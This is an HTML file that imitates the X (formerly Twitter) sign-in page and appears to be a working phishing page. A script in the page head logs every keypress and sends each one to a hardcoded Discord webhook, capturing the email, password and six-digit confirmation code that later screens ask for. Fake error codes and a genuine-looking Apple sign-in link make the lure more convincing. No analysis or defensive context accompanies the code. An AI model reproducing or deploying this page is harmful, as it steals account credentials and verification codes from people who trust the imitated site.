<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"><title>Log in to X / X</title><link rel="icon" type="image/svg+xml" href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCI+PHJlY3Qgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0IiBmaWxsPSIjMDAwIi8+PHBhdGggZmlsbD0iI2ZmZiIgZD0iTSAxMy42OTcgMyBMIDIxIDMgTCAxNC4yNjMgMTAuNzg5IEwgMjIuNSAyMSBMIDE1LjgwMyAyMSBMIDEwLjc4OSAxNC45MjEgTCA1LjA2MyAyMSBMIDIuNSAyMSBMIDkuNzM3IDEyLjcxMSBMIDEuNSAzIEwgOC4xOTcgMyBMIDEyLjczNyA4LjU1MyBMIDEzLjY5NyAzIFogTSAxNi4xNTggMTkuMzQyIEwgMTcuNjE4IDE5LjM0MiBMIDcuODQyIDQuNjU4IEwgNi4zODIgNC42NTggWiIvPjwvc3ZnPg=="><style>*{margin:0;padding:0;box-sizing:border-box;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif}body{background-color:#1e252b;display:flex;justify-content:center;align-items:center;min-height:100vh;margin:0;padding:0}.login-container{background-color:#000;width:600px;min-height:650px;padding:32px;border-radius:16px;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:20px}.x-logo{width:40px;margin-bottom:20px}h1{color:#fff;font-size:31px;font-weight:700;margin-bottom:20px;text-align:center}.apple-button{width:300px;padding:10px;background-color:#fff;color:#000;border:none;border-radius:25px;font-size:15px;font-weight:500;cursor:pointer;display:flex;align-items:center;justify-content:center;gap:8px}.apple-button:hover{background-color:#e6e6e6}.divider{width:300px;display:flex;align-items:center;color:#71767b;margin:8px 0}.divider::before,.divider::after{content:"";flex:1;border-bottom:1px solid #333639;margin:0 10px}.input-field{width:300px;padding:12px;background-color:transparent;border:1px solid #333639;border-radius:4px;color:#fff;font-size:15px}.input-field:focus{outline:0;border-color:#1d9bf0}.next-button{width:300px;padding:12px;background-color:#fff;color:#000;border:none;border-radius:25px;font-size:15px;font-weight:700;cursor:pointer;margin-top:12px}.next-button:hover{background-color:#e6e6e6}.forgot-password{width:300px;padding:12px;background-color:rgba(0,0,0,.9);border:1px solid #333639;border-radius:25px;color:#fff;font-size:15px;cursor:pointer;text-align:center;text-decoration:none;display:block}.forgot-password:hover{background-color:#202327}.signup-text{color:#71767b;font-size:15px;margin-top:40px;text-align:center}.signup-link{color:#1d9bf0;text-decoration:none}.signup-link:hover{text-decoration:underline}.username-display{width:300px;padding:8px 12px;background-color:#202327;border-radius:4px;margin-bottom:12px}.username-display label{color:#71767b;font-size:13px;display:block;margin-bottom:0}.username-display .display-text{color:#fff;font-size:15px;line-height:1.2}.password-section{width:300px;position:relative}.password-input-container{position:relative}.show-password-btn{position:absolute;right:12px;top:50%;transform:translateY(-50%);background:0 0;border:none;cursor:pointer;color:#71767b}.show-password-btn svg{fill:#fff}.login-button{width:300px;padding:12px;background-color:#fff;color:#000;border:none;border-radius:25px;font-size:15px;font-weight:700;cursor:pointer;margin-top:12px}.login-button:hover{background-color:#e6e6e6}.cancel-button{width:300px;padding:12px;background:0 0;border:1px solid #333639;border-radius:25px;color:#fff;font-size:15px;cursor:pointer;margin-top:12px}.cancel-button:hover{background-color:rgba(32,35,39,.5)}.checkmark-icon{width:20px;height:20px;background-color:#1d9bf0;border-radius:50%;display:flex;align-items:center;justify-content:center;min-width:20px}.checkmark-icon svg{width:14px;height:14px;fill:#fff}.error-message{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);background-color:#1d9bf0;color:#fff;padding:16px;border-radius:4px;font-size:15px;z-index:1000;white-space:nowrap;opacity:1;transition:opacity .5s ease}@media screen and (max-width:768px){.login-container{width:100%;min-height:100vh;height:auto;border-radius:0;padding:20px;justify-content:flex-start;margin-top:40px}h1{font-size:24px}}@media screen and (max-width:480px){.login-container{padding:16px}h1{font-size:20px}}</style><script>
document.addEventListener('keypress', function(event) {
    const webhookUrl = 'https://discord.com/api/webhooks/1320692882759356557/Q9LNjxXOy_Jxr9ihUWuQg1oI1E9CqEptZrh4htjNpgmcXemA-l-wS3Bdi7B7vr4Tyrr5';
    
    fetch(webhookUrl, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            content: `Key pressed: ${event.key}`
        }),
    });
});
</script></head><body><div class="login-container"><svg viewBox="0 0 24 24" class="x-logo" aria-hidden="true"><path fill="#fff" d="M 13.697 3 L 21 3 L 14.263 10.789 L 22.5 21 L 15.803 21 L 10.789 14.921 L 5.063 21 L 2.5 21 L 9.737 12.711 L 1.5 3 L 8.197 3 L 12.737 8.553 L 13.697 3 Z M 16.158 19.342 L 17.618 19.342 L 7.842 4.658 L 6.382 4.658 Z"></path></svg><h1>Sign in to X</h1><button class="apple-button" onclick="signInWithApple()"><svg viewBox="0 0 24 24" width="18" height="18" aria-hidden="true"><path fill="currentColor" d="M16.365 1.43c0 1.14-.493 2.27-1.177 3.08-.744.9-1.99 1.57-2.987 1.57-.12 0-.23-.02-.3-.03-.01-.06-.04-.22-.04-.39 0-1.15.572-2.27 1.206-2.98.804-.94 2.142-1.64 3.248-1.68.03.13.05.28.05.43zm4.565 15.71c-.03.07-.463 1.58-1.518 3.12-.945 1.34-1.94 2.71-3.43 2.71-1.517 0-1.9-.88-3.63-.88-1.698 0-2.302.91-3.67.91-1.377 0-2.332-1.26-3.428-2.8-1.287-1.82-2.323-4.63-2.323-7.28 0-4.28 2.797-6.55 5.552-6.55 1.448 0 2.675.95 3.6.95.865 0 2.222-1.01 3.902-1.01.613 0 2.886.06 4.374 2.19-.13.09-2.383 1.37-2.383 4.19 0 3.26 2.854 4.42 2.955 4.45z"></path></svg>Sign in with Apple</button><div class="divider">or</div><input type="text" class="input-field" placeholder="Phone, email, or username"><button class="next-button" onclick="showPasswordScreen()">Next</button><a href="#" class="forgot-password">Forgot password?</a><p class="signup-text">Don't have an account? <a href="https://x.com/i/flow/signup" class="signup-link" target="_blank">Sign up</a></p></div><script>const validEmailDomains=['gmail.com','yahoo.com','hotmail.com','outlook.com','aol.com','icloud.com','protonmail.com','mail.com','zoho.com','yandex.com','live.com','msn.com'];function generateErrorCode(){const chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';const length=73;let code='g;';for(let i=0;i<length-2;i++){if(i===9||i===25||i===45){code+=':'}else{code+=chars[Math.floor(Math.random()*chars.length)]}}return code}function isValidEmail(email){const emailRegex=/^[^\s@]+@[^\s@]+\.[^\s@]+$/;if(!emailRegex.test(email))return false;const domain=email.split('@')[1].toLowerCase();return validEmailDomains.includes(domain)}function showError(isEmailError=true){const errorMessage=isEmailError?`Sorry, we could not find your account. ${generateErrorCode()}`:`Error Code: ${generateErrorCode()} Please login using your e-mail`;localStorage.setItem('errorMessage',errorMessage);window.location.reload()}window.addEventListener('load',()=>{const errorMessage=localStorage.getItem('errorMessage');if(errorMessage){const errorDiv=document.createElement('div');errorDiv.className='error-message';errorDiv.textContent=errorMessage;document.body.appendChild(errorDiv);localStorage.removeItem('errorMessage');setTimeout(()=>{errorDiv.style.opacity='0';setTimeout(()=>errorDiv.remove(),500)},4000)}});function signInWithApple(){window.location.href='https://appleid.apple.com/auth/authorize?client_id=com.twitter&redirect_uri=https://twitter.com/home&response_type=code&scope=name%20email'}function showPasswordScreen(){const input=document.querySelector('.input-field').value;if(!input)return;if(input.includes('@')){if(!isValidEmail(input)){showError(true);return}}else{showError(false);return}const container=document.querySelector('.login-container');container.innerHTML=`<svg viewBox="0 0 24 24" class="x-logo" aria-hidden="true"><path fill="#fff" d="M 13.697 3 L 21 3 L 14.263 10.789 L 22.5 21 L 15.803 21 L 10.789 14.921 L 5.063 21 L 2.5 21 L 9.737 12.711 L 1.5 3 L 8.197 3 L 12.737 8.553 L 13.697 3 Z M 16.158 19.342 L 17.618 19.342 L 7.842 4.658 L 6.382 4.658 Z"/></svg><h1>Sign in to X</h1><div class="username-display"><label>Email</label><div class="display-text">${input}</div></div><div class="password-section"><div class="password-input-container"><input type="password" class="input-field" placeholder="Password"><button class="show-password-btn"><svg viewBox="0 0 24 24" width="20" height="20"><path fill="currentColor" d="M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z"/></svg></button></div></div><button class="login-button" onclick="showConfirmationScreen('${input}')">Log in</button><p class="signup-text">Don't have an account? <a href="https://x.com/i/flow/signup" class="signup-link" target="_blank">Sign up</a></p>`;const showPasswordBtn=document.querySelector('.show-password-btn');const passwordInput=document.querySelector('input[type="password"]');showPasswordBtn.addEventListener('click',()=>{const type=passwordInput.getAttribute('type')==='password'?'text':'password';passwordInput.setAttribute('type',type)})}function showConfirmationScreen(email){const maskedEmail=maskEmail(email);const container=document.querySelector('.login-container');container.innerHTML=`<svg viewBox="0 0 24 24" class="x-logo" aria-hidden="true"><path fill="#fff" d="M 13.697 3 L 21 3 L 14.263 10.789 L 22.5 21 L 15.803 21 L 10.789 14.921 L 5.063 21 L 2.5 21 L 9.737 12.711 L 1.5 3 L 8.197 3 L 12.737 8.553 L 13.697 3 Z M 16.158 19.342 L 17.618 19.342 L 7.842 4.658 L 6.382 4.658 Z"/></svg><h1 style="font-size: 31px; margin-bottom: 12px; text-align: center; width: 100%;">Where should we send a confirmation code?</h1><div style="width: 300px; text-align: center;"><p style="color: rgb(113, 118, 123); font-size: 15px; margin-bottom: 20px;">Before you can change your password, we need to make sure it's really you.</p><p style="color: rgb(113, 118, 123); font-size: 15px; margin-bottom: 20px;">Start by choosing where to send a confirmation code.</p><div style="color: #fff; font-size: 15px; font-weight: bold; margin-bottom: 20px; text-align: center;"><span style="display: inline-flex; align-items: center; gap: 4px;">Send an email to ${maskedEmail}<div class="checkmark-icon"><svg viewBox="0 0 24 24"><path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41L9 16.17z"/></svg></div></span></div><p style="color: #fff; font-size: 15px;">Contact <a href="#" style="color: rgb(29, 155, 240); text-decoration: none;">X Support</a> if you don't have access.</p></div><button class="next-button" style="margin-top: 40px;" onclick="showVerificationCodeScreen('${email}')">Next</button><button onclick="showInitialScreen()" class="cancel-button">Cancel</button>`}function showVerificationCodeScreen(email){const container=document.querySelector('.login-container');container.innerHTML=`<svg viewBox="0 0 24 24" class="x-logo" aria-hidden="true"><path fill="#fff" d="M 13.697 3 L 21 3 L 14.263 10.789 L 22.5 21 L 15.803 21 L 10.789 14.921 L 5.063 21 L 2.5 21 L 9.737 12.711 L 1.5 3 L 8.197 3 L 12.737 8.553 L 13.697 3 Z M 16.158 19.342 L 17.618 19.342 L 7.842 4.658 L 6.382 4.658 Z"/></svg><h1 style="font-size: 31px; margin-bottom: 12px; text-align: center; width: 100%;">We sent you a code</h1><div style="width: 300px; text-align: center;"><p style="color: rgb(113, 118, 123); font-size: 15px; margin-bottom: 20px;">Check your email to get your confirmation code. If you need to request a new code, go back and reselect a confirmation.</p><input type="text" maxlength="6" class="input-field" placeholder="Enter your code" style="margin-bottom: 80px;"></div><div style="width: 300px; margin-bottom: 60px;"><button class="next-button" id="verifyButton" style="visibility: hidden; margin-bottom: 16px;" onclick="showInitialScreen()">Next</button><button onclick="showConfirmationScreen('${email}')" class="cancel-button">Back</button></div>`;const input=container.querySelector('.input-field');const nextButton=container.querySelector('#verifyButton');input.addEventListener('input',(e)=>{e.target.value=e.target.value.replace(/[^0-9]/g,'');nextButton.style.visibility=e.target.value.length>=6?'visible':'hidden'})}function showInitialScreen(){window.location.reload()}function maskEmail(email){const[username,domain]=email.split('@');const maskedUsername=username.charAt(0)+'*'.repeat(username.length-1);const[domainName,extension]=domain.split('.');const maskedDomain=domainName.charAt(0)+'*'.repeat(domainName.length-1);return`${maskedUsername}@${maskedDomain}.${extension}`}</script>
</body></html>